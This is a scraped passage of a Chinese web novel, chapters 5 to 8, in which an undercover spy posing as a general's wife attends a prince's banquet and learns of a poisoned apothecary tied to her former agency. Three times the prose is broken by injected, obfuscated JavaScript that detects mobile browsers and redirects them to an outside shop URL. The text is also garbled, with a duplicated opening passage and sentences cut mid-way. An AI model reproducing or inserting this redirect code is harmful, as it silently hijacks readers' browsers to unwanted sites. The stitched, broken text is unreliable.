“夫君可否给我个定要相邀的名单？”沉竹边说着边向坐在一旁木椅上的霍间重走去。 霍间重起身将一张写着名姓的纸递给朝他而来的沉竹，说道：“我刚回府时便遇到了任芙，她顺道同我说了此事，刚才我在书房已经拟好。” 沉竹从他的手中接过那张纸，也无意多走近一步，但是话依旧说的周全：“今日可要我服侍夫君沐浴更衣？” 她盈盈地微笑着，等待着霍间重今日拒绝的答复。 不成想眼前人却给出了她不想得到的答案。 “好。” 霍间重看着沉竹平静且不显热络的笑脸，语气郑重的说道。 “正是。我今日与芙儿商定要办此宴席。近日府中请帖太多，比起一一去赴宴，不如我们设宴邀人来赴。” “那些请帖你和霍任芙不必理会。” “夫君可否给我个定要相邀的名单？”沉竹边说着边向坐在一旁木椅上的霍间重走去。 霍间重起身将一张写着名姓的纸递给朝他而来的沉竹，说道：“我刚回府时便遇到了任芙，她顺道同我说了此事，刚才我在书房已经拟好。” 沉竹从他的手中接过那张纸，也无意多走近一步，但是话依旧说的周全：“今日可要我服侍夫君沐浴更衣？” 她盈盈地微笑着，等待着霍间重今日拒绝的答复。 不成想眼前人却给出了她不想得到的答案。 “好。” 霍间重看着沉竹平静且不显热络的笑脸，语气郑重的说道。 5. 尝试 沉竹随霍间重一同进了已然热气氤氲的浴房，可眼前的人哪里用得着她来服侍，只待她去拿换洗衣物的时间，那人便轻车熟路地宽衣解带，进入浴池之中。 霍间重靠在浴池的一边，沉竹则跪坐在他的身后，正欲为他递上沁兰方才准备在此的酒盏。 霍间重却将她递来酒盏的胳膊推开，自己将放在一旁的浴巾拿来打湿擦拭自己的身体。 “我不欲饮酒。” 见好意被拒，沉竹举着酒盏，自己将酒饮下。 沁兰准备的是果酒，酸甜可口，沉竹又为自己倒了一盏准备饮下。 “我叫你来并不是要你来服侍于我。”霍间重扭头看向沉竹，“也无意叫你来此饮酒。” “那夫君叫我来，是有事相商？浴房之外干燥舒适，夫君为何要选择在此处？” 霍间重将头又转了回去，自己刚刚叫眼前人来此，是那日她刚来燕京之时自己的心态作祟，想戳破她贤良的假面，可他的这位妻子依旧持笑脸相迎，不见任何破绽。 “确是有事要同你说。近日府中请帖和礼颇多，均不必理会，你可知我在覃国边界处待了三个月左右？” “知晓。”沉竹疑惑着霍间重为何出此一问，那是她寄了无数封书信的地方，她怎会不知。 “你定然知晓，毕竟为我写了那么多封情深意重的书信。” 沉竹不相信自己的那十来封整整三页的书信他在战场之上会一一看过，霍间重回送到她那处的书信，早就被她扔到了一边。 若是自己还被赋凌司的解药束缚着，沉竹定当将每封信都认真措辞，可现在的她即将在数月后身死，又何须在这事上付诸太多精力。 “此次边境与覃国一战，景王亲来督战。战场之上，刀剑无眼，景王涉险，我前去相救，在这之后，我便在路上收到了圣上的旨意，将我调职至燕京。” 原是如此。沉竹随着霍间重的话语看向他后背的刀疤伤痕，累累伤痕的皮肉之下，结实的背部肌肉随着他擦拭身体的动作来回活动着。 身材倒是不错，沉竹心想。 “当今圣上年事已高，朝中急于将储君之位定下，景王此次虽涉险，但也立下了战功，因而近来府中的请帖礼物收得多些。” “多谢夫君给我解惑。”沉竹自觉语气既平静又透着几分崇拜，“可我见那些请帖之中也有景王递来的帖子。” “哦？那封请帖有何特别之处？” 霍间重冷淡地说着，将整个身体扭转过来，目光探究地看向沉竹那张尚未挂上笑容的脸。 沉竹未料到他的举动，忙低下脸庞，掩饰自己未来得及转换为语气相符的神情，端起身侧的酒壶为酒盏斟酒。 “只那一封请帖之上单写了我的名字。”沉竹说话时腔调欲泣，颇有几分逼真。 “我回燕京之后是与景王走的近些。”霍间重依旧看着沉竹低下的头，不做反应。 可再当沉竹抬起头之时，一滴泪正巧滑过她的脸庞。 “如今初到燕京，人生地不熟，我从未出此远门，近日对家人甚是挂念。”沉竹见身前人的神色松动，便用衣衫轻轻地拭去眼角的泪，紧接着又惹出更大的泪珠来，“那日…那日翻看送至府中的请帖，只见景王殿下递来的帖子单写了我一人的名字，便不由得记得牢了些。” 霍间重不想沉竹的情绪变化的如此之快，不自觉地将她额前被水汽蒸湿的发捋到一旁，温声问：“那你可想去？” “去何处？” “景王设下的宴席。“ “若是去了可会影响到夫君的正事？” 那双碎了泪珠的眼睛，带着闪烁的光看向霍间重。 “无妨。” “可近来府中忙着开府席面的事，恐抽不出时间。” “交给霍任芙和叶准便可，过去在滁州城便是他们来管这些事。” 霍间重犹豫了一阵，继续说道：“后日休沐，你我一同去。” 沉竹本想借着景王设宴的机会，多接触些人和事，尝试解开心中的疑虑。此事不论霍间重是否同意，她都会想方设法前去赴宴，毕竟在一场王公贵族举办的宴会之上，流通的信息实在是很多。 让她未曾料到的是霍间重答应的竟如此干脆，甚至还要同她一并前去。不过看到霍间重见她落泪神色露出些许慌张的模样，倒也十足有趣。 沉竹脑中如此想着，手中将一支青玉做成的簪插入发中。 “女君今日这簪选得好，淡雅清丽，却不小家子气。” 沁菊在一旁笑得真心，说得也真心。 自打成为赵叶芊之后，沉竹便久未自己梳发装饰，此时握着此发簪倒让她想起在赋凌司之时握着匕首的情态。 她就是用匕首在一次次试炼中胜出，得到了出使此次任务的机会。 “今日女君出门可是要同霍小姐一起去集市上采买？” “正是。”沉竹总不能真依着霍间重所言，让霍任芙一人去劳心操办开府的事宜。 “那女君可否为我带些民北街的果脯？我听闻那间铺子的果脯与全燕京的制法都不同，连宫中都从那间铺子采买呢。” “好。” “谢谢女君！女君待我最好了！” 燕京的集市确是要比滁州的热闹不少，一十二条主街各个热闹非凡，彼此之间又以各喧闹小巷相连。 霍任芙带着人去看设宴要用的物件器具，沉竹则去别处试着各间铺子的茶水果子。 沁菊所言果脯铺子所在的民北街汇聚了不少卖瓜果饮子的铺子。 沉竹去那间果脯铺子将所有品类的果脯都买了一些，付完钱转身之时，意外地与身后人相撞。 “甚歉。” “无事。” 与沉竹相撞的人虽是侍女的打扮，但周身打扮并不普通。 “那人你可识得?”沉竹拿着买来的果脯，向身边的沁兰问道。 “不识。”沁兰摇摇头，“不过，瞧着打扮应当是勋贵人家的丫鬟。” 说罢，沉竹将落在果脯上的视线投向民北街的另一边，霍任芙正朝这边走来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376650|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嫂嫂可逛完了？我在城南那边将不少要用的器具都订了下来，今日总算可以歇歇了。” “我去店里试了一些，也将各种都买了一些，想着你我回府后再做定夺。” “好，天色不早了，尽快回府吧，若时间充裕，还能将这些试一试定出个结果来。”霍任芙说完，叹了口气又说道：“这样的日子不知要持续多久，燕京的人太多，快要淹得我喘不过气来。” “总会适应的。”沉竹安慰道，“对了，后日景王在府中设宴，你可要去？” “后日？府中近来事务多，若要再抽出时间去应付那些高官贵人们，我恐怕是要坐上马车连夜回滁州去了。”霍任芙朝她无奈笑笑，“此等繁杂事务，还要嫂嫂为我代劳。” 日头西沉，用过饭后，沉竹和霍任芙又聚在一处，品尝着今日从街市买来的饮子糕点。 沉竹拿着笔，在纸上写着二人共同商讨过后的结果。 “这是哪间铺子的果脯？味道倒真是独一份的。” “是民北街的那家，沁菊也同我说过这间铺子的果脯味道特别，我刚刚也尝过，味道的确出众，不如将这家定下？” “好啊。” “小叶统领。”沉竹将面前的果脯独装了一份递给站在一旁的叶准，“夫君现下还在书房罢，劳烦你将此份果脯代我送去。” “是。”说完，叶准便端着白瓷做成的碟子朝书房方向走去。 “兄长何以配得上嫂嫂如此用心？”霍任芙娇嗔地对沉竹说道。 沉竹笑笑不说话。 经过这几次与霍间重的相处，她好像在他身上找到了有趣的开关，只要她再他面前表现得十足温柔贤良，对方便会投以探究的眼神，像在她的身上寻找着什么。 每当她在霍间重脸上捕捉到那份求而不得的失落之时，心中都会诡异地产生畅快。 月色静静地铺在沉竹的侧脸上，她听着身旁霍任芙对桌上食物的品评，看着墨水在自己的意志之下在纸上氤氲，期待着叶准带来的霍间重的回复。 片刻后，叶准两手空空朝她们走来，带来了霍间重的答复。 “将军将夫人给的果脯留下了。此外将军今日回府后向跟随小姐外出采买的侍从问过了，知晓小姐今日对木材的事宜有些犹豫，将军托我转告小姐，杉木的稳定性更好些，若他来选会选杉木，小姐若是觉得木纹的装饰太过简单直接，可找些木匠来做修饰，小姐若是觉得此法可行，后续的事情他会找人来负责，小姐无需操心。” 霍任芙听着叶准带来的话陷入了思考，身旁坐着的沉竹脸上的笑意越来越深。 “天色已晚，今日劳累，芙儿不如先去休息，明日也好做决定。” “嫂嫂说得对，今日确实有些累了，既如此，我便先回房了，嫂嫂也要早些休息才是。” 沉竹点头向霍任芙道别后，自己也起身向寝室走去。 书房之中烛火的光亮刺眼地朝她靠近。 沉竹有些失望，她本以为霍间重会将那份送去的果脯原封不动地送回。 6. 景王 自打那日以后，沉竹感到霍间重似在有意地回避她。 用饭时，他不再会喝自己倒的茶水，不再会表情淡漠的给自己夹菜盛汤；说话时，他不再正视自己的目光，回应也令自己感到敷衍。 再譬如现下，在前往景王府邸的马车之中，坐在沉竹身旁的霍间重不论马车平稳或是颠簸都保持着与她的细微距离。 沉竹不会将身边人的态度转变放在心上，今日在景王所设的宴席之上，她要尽力获得自己想要得知的信息。 王府的门头比霍府的要大上不少，沉竹与霍间重并肩，迎着门僮亲切的笑步入了景王府邸的门槛。 掠过一个又一个精美雅致的雕饰，又穿过几个设计颇为巧妙的小门和偏厅，终抵开设宴席的院落。 这院落很大，水道在交错的小桥之间弯折，越过一弯拱桥，重叠的灰黑色瓦片铺陈之下，除了雕梁画栋、亭台楼阁还有三五成群的各路达官贵人低声交谈着。 没人注意他们的来访，除了先一步到达的郑子寒。 “郑将军。”沉竹笑着同过来的郑子寒打招呼，她与他在即将搬离滁州之前在原本的霍府中打过照面。 “夫人安好。”郑子寒向沉竹拱手行礼过后，对一边的霍间重说道，“景王等将军很久了，将军先跟我来吧。” 霍间重点头，走出一两步之后，低声唤还在原地的沉竹跟上。 景王的容貌和一年前沉竹在赋凌司所给的画像上见过的没什么差别，深邃的眉眼略有些上挑，气质精明又宽厚，身形高大但不似霍间重那般上阵杀敌的将军充满力量。 在他身侧的景王妃长着一张很难令人生厌的脸，微笑看着沉竹与霍间重。 “微臣参见景王、景王妃。这是吾妇，赵叶芊。” “参见景王、景王妃。” 沉竹在霍间重话音落下之后向二人行礼。 “你夫妇二人感情可好。与覃国那战，霍家夫人送来的家书是一封接着一封，间重营帐中堆着的那一摞书信，数量看去比你送来的可还要多。”景王侧脸看着王妃，朝面前的二人打趣道。 听完景王的话，沉竹略低下头，装作害羞的模样。 为何人人都记得她给霍间重送信的事？ “不提这些，我带着叶芊去别处转转，候着开席。”王妃牵起沉竹的手，领着她走向这院落的别处。 “你与霍将军看上去感情很好。” “王妃和景王才是登对。” “与覃国一战还要多谢霍将军救下阿拓。” “王妃何来谢意？护卫王室和子民本就是间重该做的事。”沉竹浅笑着回应道。 景王名为长孙拓，王妃名为薛祁，除了这些，霍间重还在马车之上冷淡地嘱咐了关于景王别的信息。 霍间重说的这些，沉竹早在赋凌司便已得知，再听一遍权当作温习。 “救命之恩，怎能不谢？我刚刚命人去拿礼答谢，你可不要再说拒绝。” “臣妇在此谢过王妃。”沉竹向薛祁行礼答谢后继续说道，“只是…臣妇有一问，不知可问否？” “你问便是。” “景王是如何遇刺？间重身上的那道新伤我瞧着心惊，但他却从不愿同我讲这些，我只好来叨扰王妃。” “战场刀剑无眼，霍将军此举定是不想让你担心。阿拓那日，本在后方，是身边人倒戈才陷险境，多亏霍将军反应及时才捡回一条命来，只是霍将军还是因此生生地挨了一刀。” “竟是这般……”沉竹故作心疼忧伤，”多谢王妃肯将这些告知于我。“ “不要说谢，现下战事多发，是我们要谢霍将军护佑安宁。”薛祁说罢，从刚走至身边的侍女端着的沉木案几上拿过一支镶玉金簪和一张纸，“此簪是我嫁与阿拓时，皇后娘娘所赠，至于这张纸，听闻霍府近来在筹备开府的宴席，我便列了份单子，愿能帮上你一二。” “如此重礼，我怎敢收。” 薛祁将金簪放到沉竹的手中。 “要收下，霍将军英勇护国，应该嘉奖。” “王爷王妃明善，臣女在此谢过王妃赏赐。“ 前来赴宴的除去和霍间重一般的将士，便是些朝中政绩出众的臣子。 有薛祁作伴，沉竹顺利结识了不少内眷，有些人言语间有着她无需细想便能辨别出的虚假，言语交错间，这些无法动摇她的心弦。 值得她分心的是刚刚薛祁告知她的景王遇刺的经过，还有刚才端着案几的人。 一样的装扮，无差的面容，正是沉竹那日在果脯铺子前不小心撞到的人。 她犹豫着思绪是否要联想展开，但终是作罢。 景王简单祝词后，宴席正式开始。 沉竹尝不出好坏，和身边的霍间重一样，沉静地用着饭，与在府中不同的是，两人有来有往地为对方夹着菜。 哪道菜离二人远，沉竹便为霍间重夹着什么菜，可她却察觉到，霍间重硬是从诸多菜肴中挑出了赵叶芊应当会喜爱的菜色。 倒是用了几分心的。 她嗅到了危险的气息。 回府的路上，沉竹率先打破了沉默。 “这宴席真如芙儿所说，极费心力。” “朝中用度缩减，景王今日设此宴席也是为了犒劳一年来为国家朝廷做出些功绩来的臣子。” “王妃娘娘还特地给了我一支金簪，以嘉夫君救主之功。” “王妃曾在战争中亲去营帐中看望景王，慰问将士。” “王妃今日待我也很宽和亲切。” …… 霍间重一路答非所问，躲避着关于她和他的话题。 抵达霍府时已近黄昏，在门前候着的霍任芙便立刻牵着沉竹离去，同沉竹商量开府的事宜。 身后的霍间重没有随着她们的身影一同进入府邸，而是牵了匹马来。 近来兆国边境战事平息，朝廷之内加强了对民间各项信息的侦查，常年处于朝廷边缘的廷正监又重新被重视起来。 景王今日叫他过去，便是要他担任廷正监的监副。 “你不必跟我一同去，留在府内， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376651|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告知夫人小姐我的去向。”霍间重对身旁的叶准说道。 “是。将军日落之时前往廷正监可是有什么要紧事？” “有人死在了燕京北边的一间药铺之中，王爷遣我去查。此事你无须同夫人提起。” “是。” 叶准迈步进入霍府，与之一起的是霍间重一人一马离去的背影。 “夫君去往了何处？”沉竹向隔了一阵子才进府的叶准问道。 “将军今日在府宴之上被景王任命为朝中廷正司的监副，许是想提前熟悉事务，将军此时去往了廷正监。” “膳房刚备好了晚饭，夫君可要回府用饭？” “夫人和小姐先用饭便好，我会叫膳房留出一份来，夫人小姐无需多加劳心。” 沉竹与霍任芙相对着，偶有交谈地用着晚饭。 她知晓廷正监的存在，也知晓兆国设立其的用意，先前朱国与兆国对立时，廷正监的审查为赋凌司在兆国各项任务的进行都产生了阻碍。 她在盛汤时试着回想是何时廷正监不再在赋凌司那些司使口中经常出现，但浮现在脑海中的只有模糊的记忆。 她在低头添菜时疑惑着为何景王会让霍间重一个武将出任廷正监监副的职务，可她通过自己无法得知答案。 “嫂嫂可知？我兄长早些时候也曾也要去殿前应试？” “这我倒是不知晓。”沉竹心中和面上一致地表现出惊奇。赋凌司所给予她的信息里，只详尽记述了霍间重如何当上将军的前后因果。 “兄长幼时也寒窗苦读过许久，参加过两三次科举，只那一次进入了殿试，可那时边境战乱，朝中殿试推迟，母亲病重，我每日刺绣编织赚来的钱还不够母亲一个疗程的药钱，比起不知何时才会恢复的考试，那时迅起又即逝的战事显然是更好的选择。只可惜……” 霍任芙叹了口气继续说道：“待兄长归来之时，母亲已然逝去了。” 霍任芙脸上的悲恸，真实地牵动着此时沉竹的心弦。 “婆母如今当是很欣慰的。”沉竹安慰着面前的霍任芙。 “兴许吧。”霍任芙脸上的悲伤在抬头对上沉竹关切的神情时被驱散，“景王大抵也是因此让兄长此时去暂代掌管廷正监的事务。” 沉竹没问出的疑问被霍任芙引出的一段往事解答。 “如今那些事都已过去，我想能最让母亲欣慰的便是兄长能娶到嫂嫂你了。” “你总爱打趣我。”沉竹笑着回应霍任芙的赞美，心中却感到惶恐。 她忽然想起那些成功完成任务并能够返回赋凌司的人，他们大多会成为司使，很少会再次行使新的任务，以规避暴露的风险。 可大陆广阔，能在不同的土地遇见同一个人的概率微乎其微，沉竹本做好了投入下一次任务的准备。 但任务于现下的她而言更像是毒蛇吐出的信子，引诱着她接触一切，去唤醒在赋凌司那般环境之中所丢失的东西。 幸好，数月之后便可解脱。 思及此，沉竹在心中舒了一口气。 7. 开府 燕京城北药铺老板身亡的消息在第二日传开，沉竹和霍任芙出府采买时得知了此消息。 在那些人口中，此事本用不上廷正监出面查案，但因为那位老板平日里做些药材生意和宫中人有来往，因而朝廷特派廷正监来探查此事。 霍间重因此一连几天都未见人影，沉竹闲暇时没了逗闷子的人选，一连几日在府中和霍任芙忙开府事宜都觉得甚为无趣。 这日候得霍间重归府，夜间时，沉竹端着热茶前去书房。 守在门前的叶准未曾阻拦靠近的沉竹，她便推开那扇透着烛火的门，轻声步入书房。 在她推门而入的那一刻，低头看着公文的霍间重便注意到了她，不过只是微微抬眼，并未做些别的反应。 “夫君可累了？不如饮杯热茶缓缓神？” 霍间重低头不语，沉竹便将手中的案放在一旁空着的桌面上，提起茶壶将还冒着热气的茶水倒入杯中，亲递到他的面前。 纤细的手握着青色碎纹的茶杯横在霍间重的眼前，茶水滚烫，接触茶杯的指腹开始泛红。 霍间重接过沉竹递来的茶水，放到离自己很远的书桌的一角。 茶水氤氲出的热气在上方环绕着，霍间重手中的书页也翻了两页。 “夫君不尝尝吗？这是我从滁州带来的茶叶，今日煮水时因记挂夫君还不慎烫伤了手。”沉竹话里带着可察的委屈。 霍间重依旧低着头，但还是将自己放到桌角的茶杯拿到嘴边，浅尝了一口。 “合夫君口味否？” “嗯。“ 霍间重的回应十足简洁，他放在桌边的手却不由得握紧。 话语间，沉竹逐渐靠近着霍间重，烛火照映得二人的身影在无人注意的身后已然依偎在一起。 沉竹拿起桌边的一卷竹简，轻声询问道：“这是夫君的字？” “嗯。” “夫君的字雄遒有力，虽限于这方寸之中，却也尽显锋芒。” “你对书法字画颇有研究？”霍间重抬头，饶有趣味地向沉竹发问。 “归府的这一年间，父亲给我看过不少大家的字画，夫君的这幅字在我眼中可与那些大家媲美。” 霍间重看着沉竹脸上弧度真诚，却又处处透出虚假的笑容，语气无奈地说道：“若这幅字能讨你欢喜，便已超它所能。“ 忽地，屋外的风敲打开了沉竹身侧的窗，烛火剧烈地颤抖起来，短暂挣扎过后，一缕青烟蜿蜒而上。 沉竹在此时远离霍间重身侧，将那盏熄灭的烛芯重新点燃。 “后日便是开府的日子了，夫君字写得如此好，可要亲自写些帖子？“ “将未写的拿来于我便是。“ “多谢夫君体谅。“ 说罢，沉竹离开了书房。 霍间重今日得空回府，又未将公务带府中，想必城北的案子已经了结。 沉竹本无意多想些什么，只是心中隐隐不安，觉得此事必有蹊跷，可自己若贸然去问霍间重，倒显得刻意。 她回主屋将请帖的名册拿出，让沁兰唤叶准来拿。 那是一份完整的名册，她还尚未写出一份请帖来。 开府当日，三人在府门前将鞭炮点燃，待白烟散尽，霍任芙进府操办，霍间重和沉竹则留在入口处一一向前来的官员家眷问候。 景王未至，但王妃前来恭贺，沉竹见到薛祁便挽起她的手一同向府内走去，一路通她介绍府内的布置。 “这些年来边境纷争不断，科举不时便因此中断，现下正是用人之际，王爷才让霍将军暂代廷正监的副监一职，操持这样的宴席真是辛劳你与霍小姐了。“ “王妃这是哪里的话？夫君能得此器重，我们全家上下都感激不尽，更何况王妃给我的那份单子可帮了我不少忙，我在此还要多谢王妃。“ 二人这么说着，来到了供内眷们休息的院落。 不少人凑了上来，将本挽着手的沉竹和薛祁分开。 现下，沉竹的眼前是一位身着紫衣，戴着一只玉镯，簪着两支银钗的妇人。 此人是朝中左监廷尉的李夫人，也是朝中御史中丞的千金。沉竹与她在景王府中曾碰过面，言辞周全，让人挑不出错处来，但那日交际过后，沉竹依旧能感受到那隐藏在文藻词句下的轻蔑与漫不经心。 “我刚去前厅瞧了，霍夫人今日操办的席面当真是不差的。” “夫人谬赞，不过是邀人来府吃些茶饭，席间闲聊，促进感情，才好齐力为国做事。” “夫人话倒是说得不假。如今霍将军新任了廷正监的副监，与我家夫君平日里也常有交际。近来那件城北的案子便是我夫君与将军协同办理的。” “不过……”不待沉竹回应，李夫人便接着说道：“霍将军到底是在战场上厮杀过的，做起事来比我家夫君果断干脆得多。” “此案既已过去，你我今日便不好再论。” “此案既已结案便无须多议，可此案结得却不免有些草率。” “前厅宴席想必已然备好了，你我不如先去前厅坐下？” 李夫人见沉竹不愿再谈及此事，便也不再提起，随着沉竹在前厅落座。 沉竹并非对此没有反应，只是现下人多嘈杂。自己又对此事知之甚少，实在没什么同李夫人能说的。 在李夫人的言语中，霍间重果断干脆，此案又草率结案，此间一切倒着实耐人琢磨。 席间热闹极了，平日里不饮一杯酒的霍任芙，也接连举起了酒盏，初至前厅面上颇有些冷漠的李夫人也逐渐展露出了笑容。 妇人们的和善的交谈声，侍人们在一旁嬉笑声混在一起，沉竹不感嘈杂，欣喜倒是久违地光顾她的心中。 许是饮酒的缘故，沉竹两颊之上泛了微红，听着身边霍任芙将的俏皮话真心地笑了出来。 那只在竹林中消逝的纸鸢，似是又飞了回来。 这场宴席持续到明月升起，三人将来客一一送去，才终得闲。 沉竹与霍任芙面上的喜悦之气久未散去，二人坐在院中，以美酒为伴，交谈今日所历所感。 霍间重则返回了书房点起烛火， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376652|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒了茶，拿起手边的书开始读。 可直到桌上放着的热茶变凉，本就低矮的火烛燃尽，他都未将手中的书页翻去一页。 他到底是坐不住的，因他不小心看到了她在宴席之上的、和霍任芙交谈时的笑容。于是，他起身，有意地路过那个院落。 此时，霍任芙已不见身影，院落中只剩沉竹一人。 她微伏在圆形的石桌上，月光温柔地照在她手中淡青色的酒壶上，轻轻地笼罩在她的一边脸上，酒水带来的微红则莽撞地铺在她清冷的面容上。 霍间重一步一步地靠近，走至她的面前。 “怎的只剩你一人？” “天色已晚了，你为何会来此？“沉竹向站在自己面前的霍间重反问。 霍间重给不出回答，沉竹也不期待他能够给予自己答复，她将视线对上他的双眸。 那是双漆黑如潭水的眼眸。 “今日的宴席你以为办得如何？” “很好。”霍间重给出肯定的答案。 “城北的案子今日是否已经了结了？“沉竹向霍间重问出这个她知晓答案的问题。 “你为何如此问？“ “今日宴上，李夫人同我说那案子结得草率。“沉竹的眼中适时表露出失望。 “是已了结。“ “你从不同我说些什么。连那道后背上的新伤还是我问过王妃娘娘才知晓缘由。是我不值得你的信任吗？“ “你我从前并不相识。“她话中的信息，霍间重在景王府宴的次日就已得知。 “今日李夫人同我说那些，我想她定是知晓案件大概的，她夫君定当很信任她。“ “那你想知道些什么？“ “我什么都不想知道。“沉竹将放在他眼眸中的视线收回。 “那……“ 不待霍间重的话说出，沉竹便继续说道：“今日李夫人说你是因为在战场上厮杀日久养成了行事果断干脆的性格，才会草草结案。“ “我有些不高兴了。“沉竹停顿了一下才将这句补上。 不高兴李夫人诋毁自己，还是不高兴自己未完全信任她？ 自己虽不是一时兴起来此院中闲晃，而眼前的人醉意明显，也不再如同往日般一口一个夫君地叫着，可霍间重还是在冥冥之中感觉到这是眼前人提前编织好的陷阱。 但他依旧下意识的在两个谎言间踟蹰，随后发现自己不论将问题向哪一侧偏移，都无路可退。 是他心志不坚，所以无能为力。 “夜已至，早些回屋安置罢。“ 沉竹说完此话，便起身向正屋的方向走去，过程中仍就未看一眼站在身旁的男人。 霍间重却在此时紧紧抓住了沉竹的手臂，阻碍着沉竹将要离去的脚步。 明明是她对自己持以假面，明明…… 可是在他对上沉竹视线的一刹那，他还是松开了抓住她手臂的那只手。 深色重云遮盖住了夜间的星辰，不见光芒。 罢了，是他有所隐瞒，是他未以真心换真心。 8. 毒药 城北的那件案子其实根本无需如何调查，廷尉府的仵作查验过后，得出那药铺老板杨称和是中毒而亡，此毒十分狠厉，杨称和嘴唇青紫、七窍流血而亡，因而廷尉府怀疑是有人迫害其下毒，可现场并未发现别的线索。 但经仵作与药师比对过后，发现此毒由岭南之地一种特有的草药制成，那是已覆灭的朱国的领土。 霍间重便遣人去杨称和家中再次仔细搜查，将其家中屋顶的一片瓦片摔碎后，发现了其与朱国赋凌司往来的书信，信中记录了朱、兆两国一次对战中，兆国国君对战役的态度，白日和夜晚从燕京皇城离开的粮草、兵马…… 那场战争发生在朱国覆灭的前两个月左右，这封信封于泥瓦之内却未有人前来拿取。朱国的内乱想必那时就已经开始。 若依照这封书信的时间算起，杨称和从最后一次收到解药到如今身亡，不过半年前后而已。 以上种种在景王的授意下并未全权告知廷尉府，此案也以自裁结案。 这其间涉及难言的隐秘，霍间重无法对沉竹全盘托出，他想，沉竹并非是要得到一个确切的答案，只是要他的一个解释，解释自己为何多日未归府，自己如今又在做些什么。 于是他在次日归家之后，便径直找到沉竹，想向她说明。 彼时的沉竹还在院中同霍任芙闲聊，想着何时去这燕京城内好好逛逛。 霍间重找到她，拉起她的手，将她整个人从石凳之上拽了起来。 事情发生的太过匆忙，沉竹手中的花生壳都掉到了地上。 她被霍间重一路拉到了正屋，然后看着眼前人将冲开的房门又轻轻合上。 沉竹心想不知这人吃错了什么药，将她硬生生地拽至此，拉得她手腕生疼。 她低头看着自己微有些发红的手腕，还是将语气变得娇软，向走至自己面前的霍间重问道：“夫君有何急事？将我的手都抓红了。” “是我有些心急。”霍间重不知从何处找来了药膏，接过她隐隐发痛的手，轻轻用手揉着。 沉竹颇有些惊奇地看着此时主动又温顺的霍间重，重复了自己刚才的问题。 “昨日你同我说你有些不悦。今我便是因此来找你。” 不待沉竹回话，霍间重便低着头自顾自地继续说道：“城北的案子在几日前就已结案，案情我无法同你说清。景王在设府宴那日让我暂代廷正监监副一职，廷正监事务特殊，往后也许许多事我都无法向你坦诚，你我既结为夫妻，此事上是我对你不住。“ 霍间重将话说完，抬起头看向近在咫尺的沉竹，她的手在抹好药后也并未松开，一直握着。 窗外的光被他的身影遮盖住，沉竹在阴影之下眨着眼。 “无事，夫君能同我如此讲，我已经很欢喜。“ 许是因为没有得到案件真正的经过，又或是因为在霍间重说话时，自己心中产生的那些杂乱心思，沉竹说话时很平静，像她本来的模样。 “如此，便好，往后我的其余事都会告知于你，紧急之时也会让叶准前来送信。“ “多谢夫君。“ 霍间重见她面色并无异常，松开了她的手，起身从房中离去。 沉竹则在床上坐着，抛去心中的杂乱，陷入了思考。 霍间重如此遮遮掩掩想必事情涉及隐秘，若当真按自己脑海中最坏的想法推进，死去的药铺老板是同她一般潜伏的赋凌司细作，从最后一次她接到解药的时间往后推移，此人不过活了将近六个月，远不足她所设想的一年。 那自己岂不是…… 生命在想象中被急剧缩短，沉竹不敢再多想，可思绪不受控地继续延伸，脸上哀戚恐惧的神色还是不由得露了出来。 没了霍间重的遮挡，窗外的阳光不知所畏地照在她的身上，将她的脸色照得苍白。 她只是想活，为何如此艰难？ 沉竹和霍任芙定下前往离燕京不远的一处景致宜人的寺院，出行的日子定在朝中之时，但临走之前，他还是被前来报信的郑子寒叫走。 沉竹意外地松了口气。 途中山路，马车少不了颠簸起伏，但和她同乘的霍任芙一路上都在同她闲聊，说些趣事，路程少了些难捱，变得很快。 沉竹与霍任芙交谈着下了马车，沁兰、沁菊和霍任芙带来的侍女跟在她们的身后，叶准也被霍间重派来跟在她们的身旁，充当护卫。 此寺院名为拂尘寺，依山而建，香火旺盛，在燕京小有名气，因而哪怕今日天气不晴，仍有不少人前来参拜。 沉竹这几日努力将绝望的想法从自己的脑海中抛去，以毕竟未得到准确的答案安慰自己。 上完香后，沉竹跪在佛前祈愿，诚心祈愿霍家兄妹一世平安喜乐，霍母在上天安好，也诚心祈愿自己长命百岁。 沉竹睁眼，接过沁兰递来的签筒，又重新闭上眼，摇晃签筒，等待着命运的指示。 只听竹签落地，沉竹将落在自己身前的竹签拾起查看。 下签。 随后她若无其事地将此签塞回签筒，闭上眼，重新摇晃。 还是下签。 再摇，再看。 下下签。 沉竹盯着被自己捏在指间的竹签，用面上的平静按捺着自己心中的怒火，强忍着自己不将手中的木签同签筒一起狠狠摔在地上。 “夫人莫要忧心，不如拿着此签去向一旁长老询问一番，兴许能得到指示与转机。“ 